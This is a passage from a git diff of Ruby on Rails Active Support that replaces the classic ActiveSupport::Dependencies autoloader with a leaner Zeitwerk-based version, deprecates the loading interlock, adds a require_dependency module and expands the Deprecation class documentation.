+              "..."
+            end
+
+            method_def <<
+              "def #{method_name}(#{signature})" <<
+              "  __getobj__.#{method_name}(#{signature})" <<
+              "end"
+          else
+            method_def <<
+              "def #{method_name}(...)" <<
+              "  __getobj__.send(#{method_name.inspect}, ...)" <<
+              "end"
+          end
+        end
+
+        location = caller_locations(1, 1).first
+        file, line = location.path, location.lineno
+        klass.module_eval(method_def.join(";"), file, line)
+
+        klass.class_eval(&block) if block
+        klass
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index e125b657f29c7..c43cd5a1bc481 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -1,753 +1,102 @@
-require "set"
-require "thread"
-require "concurrent/map"
-require "pathname"
-require "active_support/core_ext/module/aliasing"
-require "active_support/core_ext/module/attribute_accessors"
-require "active_support/core_ext/module/introspection"
-require "active_support/core_ext/module/anonymous"
-require "active_support/core_ext/object/blank"
-require "active_support/core_ext/kernel/reporting"
-require "active_support/core_ext/load_error"
-require "active_support/core_ext/name_error"
-require "active_support/core_ext/string/starts_ends_with"
+# frozen_string_literal: true
+
 require "active_support/dependencies/interlock"
-require "active_support/inflector"
 
-module ActiveSupport #:nodoc:
-  module Dependencies #:nodoc:
-    extend self
+module ActiveSupport # :nodoc:
+  module Dependencies # :nodoc:
+    require_relative "dependencies/require_dependency"
 
-    mattr_accessor :interlock
-    self.interlock = Interlock.new
+    singleton_class.attr_accessor :interlock
+    @interlock = Interlock.new
 
     # :doc:
 
     # Execute the supplied block without interference from any
     # concurrent loads.
-    def self.run_interlock
-      Dependencies.interlock.running { yield }
+    def self.run_interlock(&block)
+      interlock.running(&block)
     end
 
     # Execute the supplied block while holding an exclusive lock,
     # preventing any other thread from being inside a #run_interlock
     # block at the same time.
-    def self.load_interlock
-      Dependencies.interlock.loading { yield }
+    def self.load_interlock(&block)
+      ActiveSupport.deprecator.warn(
+        "ActiveSupport::Dependencies.load_interlock is deprecated and " \
+        "will be removed in Rails 9.0. The loading interlock is no longer " \
+        "used since Rails switched to Zeitwerk for autoloading."
+      )
+      yield if block
     end
 
     # Execute the supplied block while holding an exclusive lock,
     # preventing any other thread from being inside a #run_interlock
     # block at the same time.
-    def self.unload_interlock
-      Dependencies.interlock.unloading { yield }
+    def self.unload_interlock(&block)
+      interlock.unloading(&block)
     end
 
     # :nodoc:
 
-    # Should we turn on Ruby warnings on the first load of dependent files?
-    mattr_accessor :warnings_on_first_load
-    self.warnings_on_first_load = false
-
-    # All files ever loaded.
-    mattr_accessor :history
-    self.history = Set.new
-
-    # All files currently loaded.
-    mattr_accessor :loaded
-    self.loaded = Set.new
-
-    # Stack of files being loaded.
-    mattr_accessor :loading
-    self.loading = []
-
-    # Should we load files or require them?
-    mattr_accessor :mechanism
-    self.mechanism = ENV["NO_RELOAD"] ? :require : :load
-
-    # The set of directories from which we may automatically load files. Files
-    # under these directories will be reloaded on each request in development mode,
-    # unless the directory also appears in autoload_once_paths.
-    mattr_accessor :autoload_paths
+    # The array of directories from which we autoload and reload, if reloading
+    # is enabled. The public interface to push directories to this collection
+    # from applications or engines is config.autoload_paths.
+    #
+    # This collection is allowed to have intersection with autoload_once_paths.
+    # Common directories are not reloaded.
+    singleton_class.attr_accessor :autoload_paths
     self.autoload_paths = []
 
-    # The set of directories from which automatically loaded constants are loaded
-    # only once. All directories in this set must also be present in +autoload_paths+.
-    mattr_accessor :autoload_once_paths
+    # The array of directories from which we autoload and never reload, even if
+    # reloading is enabled. The public interface to push directories to this
+    # collection from applications or engines is config.autoload_once_paths.
+    singleton_class.attr_accessor :autoload_once_paths
     self.autoload_once_paths = []
 
-    # An array of qualified constant names that have been loaded. Adding a name
-    # to this array will cause it to be unloaded the next time Dependencies are
-    # cleared.
-    mattr_accessor :autoloaded_constants
-    self.autoloaded_constants = []
-
-    # An array of constant names that need to be unloaded on every request. Used
-    # to allow arbitrary constants to be marked for unloading.
-    mattr_accessor :explicitly_unloadable_constants
-    self.explicitly_unloadable_constants = []
-
-    # The WatchStack keeps a stack of the modules being watched as files are
-    # loaded. If a file in the process of being loaded (parent.rb) triggers the
-    # load of another file (child.rb) the stack will ensure that child.rb
-    # handles the new constants.
+    # This is a private set that collects all eager load paths during bootstrap.
+    # Useful for Zeitwerk integration. The public interface to push custom
+    # directories to this collection from applications or engines is
+    # config.eager_load_paths.
+    singleton_class.attr_accessor :_eager_load_paths
+    self._eager_load_paths = Set.new
+
+    # If reloading is enabled, this private set holds autoloaded classes tracked
+    # by the descendants tracker. It is populated by an on_load callback in the
+    # main autoloader. Used to clear state.
+    singleton_class.attr_accessor :_autoloaded_tracked_classes
+    self._autoloaded_tracked_classes = Set.new
+
+    # If reloading is enabled, this private attribute stores the main autoloader
+    # of a Rails application. It is `nil` otherwise.
     #
-    # If child.rb is being autoloaded, its constants will be added to
-    # autoloaded_constants. If it was being `require`d, they will be discarded.
-    #
-    # This is handled by walking back up the watch stack and adding the constants
-    # found by child.rb to the list of original constants in parent.rb.
-    class WatchStack
-      include Enumerable
-
-      # @watching is a stack of lists of constants being watched. For instance,
-      # if parent.rb is autoloaded, the stack will look like [[Object]]. If
-      # parent.rb then requires namespace/child.rb, the stack will look like
-      # [[Object], [Namespace]].
-
-      def initialize
-        @watching = []
-        @stack = Hash.new { |h, k| h[k] = [] }
-      end
-
-      def each(&block)
-        @stack.each(&block)
-      end
-
-      def watching?
-        !@watching.empty?
-      end
-
-      # Returns a list of new constants found since the last call to
-      # <tt>watch_namespaces</tt>.
-      def new_constants
-        constants = []
-
-        # Grab the list of namespaces that we're looking for new constants under
-        @watching.last.each do |namespace|
-          # Retrieve the constants that were present under the namespace when watch_namespaces
-          # was originally called
-          original_constants = @stack[namespace].last
-
-          mod = Inflector.constantize(namespace) if Dependencies.qualified_const_defined?(namespace)
-          next unless mod.is_a?(Module)
-
-          # Get a list of the constants that were added
-          new_constants = mod.constants(false) - original_constants
-
-          # @stack[namespace] returns an Array of the constants that are being evaluated
-          # for that namespace. For instance, if parent.rb requires child.rb, the first
-          # element of @stack[Object] will be an Array of the constants that were present
-          # before parent.rb was required. The second element will be an Array of the
-          # constants that were present before child.rb was required.
-          @stack[namespace].each do |namespace_constants|
-            namespace_constants.concat(new_constants)
-          end
-
-          # Normalize the list of new constants, and add them to the list we will return
-          new_constants.each do |suffix|
-            constants << ([namespace, suffix] - ["Object"]).join("::".freeze)
-          end
-        end
-        constants
-      ensure
-        # A call to new_constants is always called after a call to watch_namespaces
-        pop_modules(@watching.pop)
-      end
-
-      # Add a set of modules to the watch stack, remembering the initial
-      # constants.
-      def watch_namespaces(namespaces)
-        @watching << namespaces.map do |namespace|
-          module_name = Dependencies.to_constant_name(namespace)
-          original_constants = Dependencies.qualified_const_defined?(module_name) ?
-            Inflector.constantize(module_name).constants(false) : []
-
-          @stack[module_name] << original_constants
-          module_name
-        end
-      end
-
-      private
-        def pop_modules(modules)
-          modules.each { |mod| @stack[mod].pop }
-        end
-    end
-
-    # An internal stack used to record which constants are loaded by any block.
-    mattr_accessor :constant_watch_stack
-    self.constant_watch_stack = WatchStack.new
-
-    # Module includes this module.
-    module ModuleConstMissing #:nodoc:
-      def self.append_features(base)
-        base.class_eval do
-          # Emulate #exclude via an ivar
-          return if defined?(@_const_missing) && @_const_missing
-          @_const_missing = instance_method(:const_missing)
-          remove_method(:const_missing)
-        end
-        super
-      end
-
-      def self.exclude_from(base)
-        base.class_eval do
-          define_method :const_missing, @_const_missing
-          @_const_missing = nil
-        end
-      end
-
-      def const_missing(const_name)
-        from_mod = anonymous? ? guess_for_anonymous(const_name) : self
-        Dependencies.load_missing_constant(from_mod, const_name)
-      end
-
-      # We assume that the name of the module reflects the nesting
-      # (unless it can be proven that is not the case) and the path to the file
-      # that defines the constant. Anonymous modules cannot follow these
-      # conventions and therefore we assume that the user wants to refer to a
-      # top-level constant.
-      def guess_for_anonymous(const_name)
-        if Object.const_defined?(const_name)
-          raise NameError.new "#{const_name} cannot be autoloaded from an anonymous class or module", const_name
-        else
-          Object
-        end
-      end
-
-      def unloadable(const_desc = self)
-        super(const_desc)
-      end
-    end
-
-    # Object includes this module.
-    module Loadable #:nodoc:
-      def self.exclude_from(base)
-        base.class_eval do
-          define_method(:load, Kernel.instance_method(:load))
-          private :load
-        end
-      end
-
-      def require_or_load(file_name)
-        Dependencies.require_or_load(file_name)
-      end
-
-      # Interprets a file using <tt>mechanism</tt> and marks its defined
-      # constants as autoloaded. <tt>file_name</tt> can be either a string or
-      # respond to <tt>to_path</tt>.
-      #
-      # Use this method in code that absolutely needs a certain constant to be
-      # defined at that point. A typical use case is to make constant name
-      # resolution deterministic for constants with the same relative name in
-      # different namespaces whose evaluation would depend on load order
-      # otherwise.
-      def require_dependency(file_name, message = "No such file to load -- %s.rb")
-        file_name = file_name.to_path if file_name.respond_to?(:to_path)
-        unless file_name.is_a?(String)
-          raise ArgumentError, "the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}"
-        end
-
-        Dependencies.depend_on(file_name, message)
-      end
-
-      def load_dependency(file)
-        if Dependencies.load? && Dependencies.constant_watch_stack.watching?
-          Dependencies.new_constants_in(Object) { yield }
-        else
-          yield
-        end
-      rescue Exception => exception  # errors from loading file
-        exception.blame_file! file if exception.respond_to? :blame_file!
-        raise
-      end
-
-      # Mark the given constant as unloadable. Unloadable constants are removed
-      # each time dependencies are cleared.
-      #
-      # Note that marking a constant for unloading need only be done once. Setup
-      # or init scripts may list each unloadable constant that may need unloading;
-      # each constant will be removed for every subsequent clear, as opposed to
-      # for the first clear.
-      #
-      # The provided constant descriptor may be a (non-anonymous) module or class,
-      # or a qualified constant name as a string or symbol.
-      #
-      # Returns +true+ if the constant was not previously marked for unloading,
-      # +false+ otherwise.
-      def unloadable(const_desc)
-        Dependencies.mark_for_unload const_desc
-      end
-
-      private
-
-        def load(file, wrap = false)
-          result = false
-          load_dependency(file) { result = super }
-          result
-        end
-
-        def require(file)
-          result = false
-          load_dependency(file) { result = super }
-          result
-        end
-    end
-
-    # Exception file-blaming.
-    module Blamable #:nodoc:
-      def blame_file!(file)
-        (@blamed_files ||= []).unshift file
-      end
-
-      def blamed_files
-        @blamed_files ||= []
-      end
-
-      def describe_blame
-        return nil if blamed_files.empty?
-        "This error occurred while loading the following files:\n   #{blamed_files.join "\n   "}"
-      end
-
-      def copy_blame!(exc)
-        @blamed_files = exc.blamed_files.clone
-        self
-      end
-    end
-
-    def hook!
-      Object.class_eval { include Loadable }
-      Module.class_eval { include ModuleConstMissing }
-      Exception.class_eval { include Blamable }
-    end
-
-    def unhook!
-      ModuleConstMissing.exclude_from(Module)
-      Loadable.exclude_from(Object)
-    end
-
-    def load?
-      mechanism == :load
-    end
-
-    def depend_on(file_name, message = "No such file to load -- %s.rb")
-      path = search_for_file(file_name)
-      require_or_load(path || file_name)
-    rescue LoadError => load_error
-      if file_name = load_error.message[/ -- (.*?)(\.rb)?$/, 1]
-        load_error.message.replace(message % file_name)
-        load_error.copy_blame!(load_error)
-      end
-      raise
-    end
-
-    def clear
-      Dependencies.unload_interlock do
-        loaded.clear
-        loading.clear
-        remove_unloadable_constants!
-      end
-    end
-
-    def require_or_load(file_name, const_path = nil)
-      file_name = $` if file_name =~ /\.rb\z/
-      expanded = File.expand_path(file_name)
-      return if loaded.include?(expanded)
-
-      Dependencies.load_interlock do
-        # Maybe it got loaded while we were waiting for our lock:
-        return if loaded.include?(expanded)
-
-        # Record that we've seen this file *before* loading it to avoid an
-        # infinite loop with mutual dependencies.
-        loaded << expanded
-        loading << expanded
-
-        begin
-          if load?
-            # Enable warnings if this file has not been loaded before and
-            # warnings_on_first_load is set.
-            load_args = ["#{file_name}.rb"]
-            load_args << const_path unless const_path.nil?
-
-            if !warnings_on_first_load || history.include?(expanded)
-              result = load_file(*load_args)
-            else
-              enable_warnings { result = load_file(*load_args) }
-            end
-          else
-            result = require file_name
-          end
-        rescue Exception
-          loaded.delete expanded
-          raise
-        ensure
-          loading.pop
-        end
-
-        # Record history *after* loading so first load gets warnings.
-        history << expanded
-        result
-      end
-    end
+    # The public interface for this autoloader is `Rails.autoloaders.main`.
+    singleton_class.attr_accessor :autoloader
 
-    # Is the provided constant path defined?
-    def qualified_const_defined?(path)
-      Object.const_defined?(path, false)
-    end
-
-    # Given +path+, a filesystem path to a ruby file, return an array of
-    # constant paths which would cause Dependencies to attempt to load this
-    # file.
-    def loadable_constants_for_path(path, bases = autoload_paths)
-      path = $` if path =~ /\.rb\z/
-      expanded_path = File.expand_path(path)
-      paths = []
-
-      bases.each do |root|
-        expanded_root = File.expand_path(root)
-        next unless expanded_path.start_with?(expanded_root)
-
-        root_size = expanded_root.size
-        next if expanded_path[root_size] != ?/.freeze
-
-        nesting = expanded_path[(root_size + 1)..-1]
-        paths << nesting.camelize unless nesting.blank?
-      end
-
-      paths.uniq!
-      paths
-    end
-
-    # Search for a file in autoload_paths matching the provided suffix.
-    def search_for_file(path_suffix)
-      path_suffix = path_suffix.sub(/(\.rb)?$/, ".rb".freeze)
-
-      autoload_paths.each do |root|
-        path = File.join(root, path_suffix)
-        return path if File.file? path
-      end
-      nil # Gee, I sure wish we had first_match ;-)
-    end
-
-    # Does the provided path_suffix correspond to an autoloadable module?
-    # Instead of returning a boolean, the autoload base for this module is
-    # returned.
-    def autoloadable_module?(path_suffix)
-      autoload_paths.each do |load_path|
-        return load_path if File.directory? File.join(load_path, path_suffix)
-      end
-      nil
-    end
-
-    def load_once_path?(path)
-      # to_s works around a ruby issue where String#starts_with?(Pathname)
-      # will raise a TypeError: no implicit conversion of Pathname into String
-      autoload_once_paths.any? { |base| path.starts_with? base.to_s }
-    end
-
-    # Attempt to autoload the provided module name by searching for a directory
-    # matching the expected path suffix. If found, the module is created and
-    # assigned to +into+'s constants with the name +const_name+. Provided that
-    # the directory was loaded from a reloadable base path, it is added to the
-    # set of constants that are to be unloaded.
-    def autoload_module!(into, const_name, qualified_name, path_suffix)
-      return nil unless base_path = autoloadable_module?(path_suffix)
-      mod = Module.new
-      into.const_set const_name, mod
-      autoloaded_constants << qualified_name unless autoload_once_paths.include?(base_path)
-      mod
-    end
-
-    # Load the file at the provided path. +const_paths+ is a set of qualified
-    # constant names. When loading the file, Dependencies will watch for the
-    # addition of these constants. Each that is defined will be marked as
-    # autoloaded, and will be removed when Dependencies.clear is next called.
-    #
-    # If the second parameter is left off, then Dependencies will construct a
-    # set of names that the file at +path+ may define. See
-    # +loadable_constants_for_path+ for more details.
-    def load_file(path, const_paths = loadable_constants_for_path(path))
-      const_paths = [const_paths].compact unless const_paths.is_a? Array
-      parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || ::Object }
-
-      result = nil
-      newly_defined_paths = new_constants_in(*parent_paths) do
-        result = Kernel.load path
-      end
-
-      autoloaded_constants.concat newly_defined_paths unless load_once_path?(path)
-      autoloaded_constants.uniq!
-      result
-    end
-
-    # Returns the constant path for the provided parent and constant name.
-    def qualified_name_for(mod, name)
-      mod_name = to_constant_name mod
-      mod_name == "Object" ? name.to_s : "#{mod_name}::#{name}"
-    end
-
-    # Load the constant named +const_name+ which is missing from +from_mod+. If
-    # it is not possible to load the constant into from_mod, try its parent
-    # module using +const_missing+.
-    def load_missing_constant(from_mod, const_name)
-      unless qualified_const_defined?(from_mod.name) && Inflector.constantize(from_mod.name).equal?(from_mod)
-        raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
-      end
-
-      qualified_name = qualified_name_for from_mod, const_name
-      path_suffix = qualified_name.underscore
-
-      file_path = search_for_file(path_suffix)
-
-      if file_path
-        expanded = File.expand_path(file_path)
-        expanded.sub!(/\.rb\z/, "".freeze)
-
-        if loading.include?(expanded)
-          raise "Circular dependency detected while autoloading constant #{qualified_name}"
-        else
-          require_or_load(expanded, qualified_name)
-          raise LoadError, "Unable to autoload constant #{qualified_name}, expected #{file_path} to define it" unless from_mod.const_defined?(const_name, false)
-          return from_mod.const_get(const_name)
-        end
-      elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
-        return mod
-      elsif (parent = from_mod.parent) && parent != from_mod &&
-            ! from_mod.parents.any? { |p| p.const_defined?(const_name, false) }
-        # If our parents do not have a constant named +const_name+ then we are free
-        # to attempt to load upwards. If they do have such a constant, then this
-        # const_missing must be due to from_mod::const_name, which should not
-        # return constants from from_mod's parents.
-        begin
-          # Since Ruby does not pass the nesting at the point the unknown
-          # constant triggered the callback we cannot fully emulate constant
-          # name lookup and need to make a trade-off: we are going to assume
-          # that the nesting in the body of Foo::Bar is [Foo::Bar, Foo] even
-          # though it might not be. Counterexamples are
-          #
-          #   class Foo::Bar
-          #     Module.nesting # => [Foo::Bar]
-          #   end
-          #
-          # or
-          #
-          #   module M::N
-          #     module S::T
-          #       Module.nesting # => [S::T, M::N]
-          #     end
-          #   end
-          #
-          # for example.
-          return parent.const_missing(const_name)
-        rescue NameError => e
-          raise unless e.missing_name? qualified_name_for(parent, const_name)
-        end
-      end
-
-      name_error = NameError.new("uninitialized constant #{qualified_name}", const_name)
-      name_error.set_backtrace(caller.reject { |l| l.starts_with? __FILE__ })
-      raise name_error
-    end
-
-    # Remove the constants that have been autoloaded, and those that have been
-    # marked for unloading. Before each constant is removed a callback is sent
-    # to its class/module if it implements +before_remove_const+.
-    #
-    # The callback implementation should be restricted to cleaning up caches, etc.
-    # as the environment will be in an inconsistent state, e.g. other constants
-    # may have already been unloaded and not accessible.
-    def remove_unloadable_constants!
-      autoloaded_constants.each { |const| remove_constant const }
-      autoloaded_constants.clear
-      Reference.clear!
-      explicitly_unloadable_constants.each { |const| remove_constant const }
-    end
-
-    class ClassCache
-      def initialize
-        @store = Concurrent::Map.new
-      end
-
-      def empty?
-        @store.empty?
-      end
-
-      def key?(key)
-        @store.key?(key)
-      end
-
-      def get(key)
-        key = key.name if key.respond_to?(:name)
-        @store[key] ||= Inflector.constantize(key)
-      end
-      alias :[] :get
-
-      def safe_get(key)
-        key = key.name if key.respond_to?(:name)
-        @store[key] ||= Inflector.safe_constantize(key)
-      end
-
-      def store(klass)
-        return self unless klass.respond_to?(:name)
-        raise(ArgumentError, "anonymous classes cannot be cached") if klass.name.empty?
-        @store[klass.name] = klass
-        self
-      end
-
-      def clear!
-        @store.clear
-      end
-    end
-
-    Reference = ClassCache.new
-
-    # Store a reference to a class +klass+.
-    def reference(klass)
-      Reference.store klass
-    end
-
-    # Get the reference for class named +name+.
-    # Raises an exception if referenced class does not exist.
-    def constantize(name)
-      Reference.get(name)
-    end
-
-    # Get the reference for class named +name+ if one exists.
-    # Otherwise returns +nil+.
-    def safe_constantize(name)
-      Reference.safe_get(name)
-    end
-
-    # Determine if the given constant has been automatically loaded.
-    def autoloaded?(desc)
-      return false if desc.is_a?(Module) && desc.anonymous?
-      name = to_constant_name desc
-      return false unless qualified_const_defined?(name)
-      return autoloaded_constants.include?(name)
-    end
-
-    # Will the provided constant descriptor be unloaded?
-    def will_unload?(const_desc)
-      autoloaded?(const_desc) ||
-        explicitly_unloadable_constants.include?(to_constant_name(const_desc))
-    end
-
-    # Mark the provided constant name for unloading. This constant will be
-    # unloaded on each request, not just the next one.
-    def mark_for_unload(const_desc)
-      name = to_constant_name const_desc
-      if explicitly_unloadable_constants.include? name
-        false
-      else
-        explicitly_unloadable_constants << name
-        true
-      end
-    end
-
-    # Run the provided block and detect the new constants that were loaded during
-    # its execution. Constants may only be regarded as 'new' once -- so if the
-    # block calls +new_constants_in+ again, then the constants defined within the
-    # inner call will not be reported in this one.
+    # Private method that reloads constants autoloaded by the main autoloader.
     #
-    # If the provided block does not run to completion, and instead raises an
-    # exception, any new constants are regarded as being only partially defined
-    # and will be removed immediately.
-    def new_constants_in(*descs)
-      constant_watch_stack.watch_namespaces(descs)
-      success = false
-
-      begin
-        yield # Now yield to the code that is to define new constants.
-        success = true
-      ensure
-        new_constants = constant_watch_stack.new_constants
-
-        return new_constants if success
-
-        # Remove partially loaded constants.
-        new_constants.each { |c| remove_constant(c) }
+    # Rails.application.reloader.reload! is the public interface for application
+    # reload. That involves more things, like deleting unloaded classes from the
+    # internal state of the descendants tracker, or reloading routes.
+    def self.clear
+      unload_interlock do
+        _autoloaded_tracked_classes.clear
+        autoloader.reload
       end
     end
 
-    # Convert the provided const desc to a qualified constant name (as a string).
-    # A module, class, symbol, or string may be provided.
-    def to_constant_name(desc) #:nodoc:
-      case desc
-      when String then desc.sub(/^::/, "")
-      when Symbol then desc.to_s
-      when Module
-        desc.name ||
-          raise(ArgumentError, "Anonymous modules have no name to be referenced by")
-        else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
+    # Private method used by require_dependency.
+    def self.search_for_file(relpath)
+      relpath += ".rb" unless relpath.end_with?(".rb")
+      autoload_paths.each do |autoload_path|
+        abspath = File.join(autoload_path, relpath)
+        return abspath if File.file?(abspath)
       end
+      nil
     end
 
-    def remove_constant(const) #:nodoc:
-      # Normalize ::Foo, ::Object::Foo, Object::Foo, Object::Object::Foo, etc. as Foo.
-      normalized = const.to_s.sub(/\A::/, "")
-      normalized.sub!(/\A(Object::)+/, "")
-
-      constants = normalized.split("::")
-      to_remove = constants.pop
-
-      # Remove the file path from the loaded list.
-      file_path = search_for_file(const.underscore)
-      if file_path
-        expanded = File.expand_path(file_path)
-        expanded.sub!(/\.rb\z/, "")
-        loaded.delete(expanded)
-      end
-
-      if constants.empty?
-        parent = Object
-      else
-        # This method is robust to non-reachable constants.
-        #
-        # Non-reachable constants may be passed if some of the parents were
-        # autoloaded and already removed. It is easier to do a sanity check
-        # here than require the caller to be clever. We check the parent
-        # rather than the very const argument because we do not want to
-        # trigger Kernel#autoloads, see the comment below.
-        parent_name = constants.join("::")
-        return unless qualified_const_defined?(parent_name)
-        parent = constantize(parent_name)
-      end
-
-      # In an autoloaded user.rb like this
-      #
-      #   autoload :Foo, 'foo'
-      #
-      #   class User < ActiveRecord::Base
-      #   end
-      #
-      # we correctly register "Foo" as being autoloaded. But if the app does
-      # not use the "Foo" constant we need to be careful not to trigger
-      # loading "foo.rb" ourselves. While #const_defined? and #const_get? do
-      # require the file, #autoload? and #remove_const don't.
-      #
-      # We are going to remove the constant nonetheless ---which exists as
-      # far as Ruby is concerned--- because if the user removes the macro
-      # call from a class or module that were not autoloaded, as in the
-      # example above with Object, accessing to that constant must err.
-      unless parent.autoload?(to_remove)
-        begin
-          constantized = parent.const_get(to_remove, false)
-        rescue NameError
-          # The constant is no longer reachable, just skip it.
-          return
-        else
-          constantized.before_remove_const if constantized.respond_to?(:before_remove_const)
-        end
-      end
-
-      begin
-        parent.instance_eval { remove_const to_remove }
-      rescue NameError
-        # The constant is no longer reachable, just skip it.
-      end
+    # Private method that helps configuring the autoloaders.
+    def self.eager_load?(path)
+      _eager_load_paths.member?(path)
     end
   end
 end
-
-ActiveSupport::Dependencies.hook!
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
index 13036d521dc0c..747f1fe455f2f 100644
--- a/activesupport/lib/active_support/dependencies/autoload.rb
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -1,10 +1,14 @@
+# frozen_string_literal: true
+
 require "active_support/inflector/methods"
 
 module ActiveSupport
+  # = Active Support \Autoload
+  #
   # Autoload and eager load conveniences for your library.
   #
   # This module allows you to define autoloads based on
-  # Rails conventions (i.e. no need to define the path
+  # \Rails conventions (i.e. no need to define the path
   # it is automatically guessed based on the filename)
   # and also define a set of constants that needs to be
   # eager loaded:
@@ -23,15 +27,6 @@ module ActiveSupport
   #
   #   MyLib.eager_load!
   module Autoload
-    def self.extended(base) # :nodoc:
-      base.class_eval do
-        @_autoloads = {}
-        @_under_path = nil
-        @_at_path = nil
-        @_eager_autoload = false
-      end
-    end
-
     def autoload(const_name, path = @_at_path)
       unless path
         full = [name, @_under_path, const_name.to_s].compact.join("::")
@@ -39,7 +34,8 @@ def autoload(const_name, path = @_at_path)
       end
 
       if @_eager_autoload
-        @_autoloads[const_name] = path
+        @_eagerloaded_constants ||= []
+        @_eagerloaded_constants << const_name
       end
 
       super const_name, path
@@ -67,11 +63,10 @@ def eager_autoload
     end
 
     def eager_load!
-      @_autoloads.each_value { |file| require file }
-    end
-
-    def autoloads
-      @_autoloads
+      if @_eagerloaded_constants
+        @_eagerloaded_constants.each { |const_name| const_get(const_name) }
+        @_eagerloaded_constants = nil
+      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/dependencies/interlock.rb b/activesupport/lib/active_support/dependencies/interlock.rb
index e4e18439c55f0..88b69b065e0d6 100644
--- a/activesupport/lib/active_support/dependencies/interlock.rb
+++ b/activesupport/lib/active_support/dependencies/interlock.rb
@@ -1,30 +1,33 @@
+# frozen_string_literal: true
+
 require "active_support/concurrency/share_lock"
 
-module ActiveSupport #:nodoc:
-  module Dependencies #:nodoc:
+module ActiveSupport # :nodoc:
+  module Dependencies # :nodoc:
     class Interlock
       def initialize # :nodoc:
         @lock = ActiveSupport::Concurrency::ShareLock.new
       end
 
-      def loading
-        @lock.exclusive(purpose: :load, compatible: [:load], after_compatible: [:load]) do
-          yield
-        end
+      def loading(&block)
+        ActiveSupport.deprecator.warn(
+          "ActiveSupport::Dependencies::Interlock#loading is deprecated and " \
+          "will be removed in Rails 9.0. The loading interlock is no longer " \
+          "used since Rails switched to Zeitwerk for autoloading."
+        )
+        yield if block
       end
 
-      def unloading
-        @lock.exclusive(purpose: :unload, compatible: [:load, :unload], after_compatible: [:load, :unload]) do
-          yield
-        end
+      def unloading(&block)
+        @lock.exclusive(purpose: :unload, compatible: [:unload], after_compatible: [:unload], &block)
       end
 
       def start_unloading
-        @lock.start_exclusive(purpose: :unload, compatible: [:load, :unload])
+        @lock.start_exclusive(purpose: :unload, compatible: [:unload])
       end
 
       def done_unloading
-        @lock.stop_exclusive(compatible: [:load, :unload])
+        @lock.stop_exclusive(compatible: [:unload])
       end
 
       def start_running
@@ -35,16 +38,13 @@ def done_running
         @lock.stop_sharing
       end
 
-      def running
-        @lock.sharing do
-          yield
-        end
+      def running(&block)
+        @lock.sharing(&block)
       end
 
-      def permit_concurrent_loads
-        @lock.yield_shares(compatible: [:load]) do
-          yield
-        end
+      def permit_concurrent_loads(&block)
+        # Soft deprecated: no deprecation warning for now, but this is a no-op.
+        yield if block
       end
 
       def raw_state(&block) # :nodoc:
diff --git a/activesupport/lib/active_support/dependencies/require_dependency.rb b/activesupport/lib/active_support/dependencies/require_dependency.rb
new file mode 100644
index 0000000000000..403f5fa4c6bf4
--- /dev/null
+++ b/activesupport/lib/active_support/dependencies/require_dependency.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActiveSupport::Dependencies::RequireDependency
+  # <b>Warning:</b> This method is obsolete. The semantics of the autoloader
+  # match Ruby's and you do not need to be defensive with load order anymore.
+  # Just refer to classes and modules normally.
+  #
+  # Engines that do not control the mode in which their parent application runs
+  # should call +require_dependency+ where needed in case the runtime mode is
+  # +:classic+.
+  def require_dependency(filename)
+    filename = filename.to_path if filename.respond_to?(:to_path)
+
+    unless filename.is_a?(String)
+      raise ArgumentError, "the file name must be either a String or implement #to_path -- you passed #{filename.inspect}"
+    end
+
+    if abspath = ActiveSupport::Dependencies.search_for_file(filename)
+      require abspath
+    else
+      require filename
+    end
+  end
+
+  # We could define require_dependency in Object directly, but a module makes
+  # the extension apparent if you list ancestors.
+  Object.prepend(self)
+end
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index 191e582de86db..ba50de3f85082 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -1,8 +1,35 @@
-require "singleton"
+# frozen_string_literal: true
 
 module ActiveSupport
-  # \Deprecation specifies the API used by Rails to deprecate methods, instance
-  # variables, objects and constants.
+  # = Active Support \Deprecation
+  #
+  # \Deprecation specifies the API used by \Rails to deprecate methods, instance variables, objects, and constants. It's
+  # also available for gems or applications.
+  #
+  # For a gem, use Deprecation.new to create a Deprecation object and store it in your module or class (in order for
+  # users to be able to configure it).
+  #
+  #   module MyLibrary
+  #     def self.deprecator
+  #       @deprecator ||= ActiveSupport::Deprecation.new("2.0", "MyLibrary")
+  #     end
+  #   end
+  #
+  # For a Railtie or Engine, you may also want to add it to the application's deprecators, so that the application's
+  # configuration can be applied to it.
+  #
+  #   module MyLibrary
+  #     class Railtie < Rails::Railtie
+  #       initializer "my_library.deprecator" do |app|
+  #         app.deprecators[:my_library] = MyLibrary.deprecator
+  #       end
+  #     end
+  #   end
+  #
+  # With the above initializer, configuration settings like the following will affect +MyLibrary.deprecator+:
+  #
+  #   # in config/environments/test.rb
+  #   config.active_support.deprecation = :raise
   class Deprecation
     # active_support.rb sets an autoload for ActiveSupport::Deprecation.
     #
@@ -12,32 +39,43 @@ class Deprecation
     # a circular require warning for active_support/deprecation.rb.
     #
     # So, we define the constant first, and load dependencies later.
-    require "active_support/deprecation/instance_delegator"
     require "active_support/deprecation/behaviors"
     require "active_support/deprecation/reporting"
+    require "active_support/deprecation/disallowed"
+    require "active_support/deprecation/constant_accessor"
     require "active_support/deprecation/method_wrappers"
     require "active_support/deprecation/proxy_wrappers"
+    require "active_support/deprecation/deprecators"
     require "active_support/core_ext/module/deprecation"
+    require "concurrent/atomic/thread_local_var"
 
-    include Singleton
-    include InstanceDelegator
     include Behavior
     include Reporting
+    include Disallowed
     include MethodWrapper
 
+    MUTEX = Mutex.new # :nodoc:
+    private_constant :MUTEX
+
+    def self._instance # :nodoc:
+      @_instance ||= MUTEX.synchronize { @_instance ||= new }
+    end
+
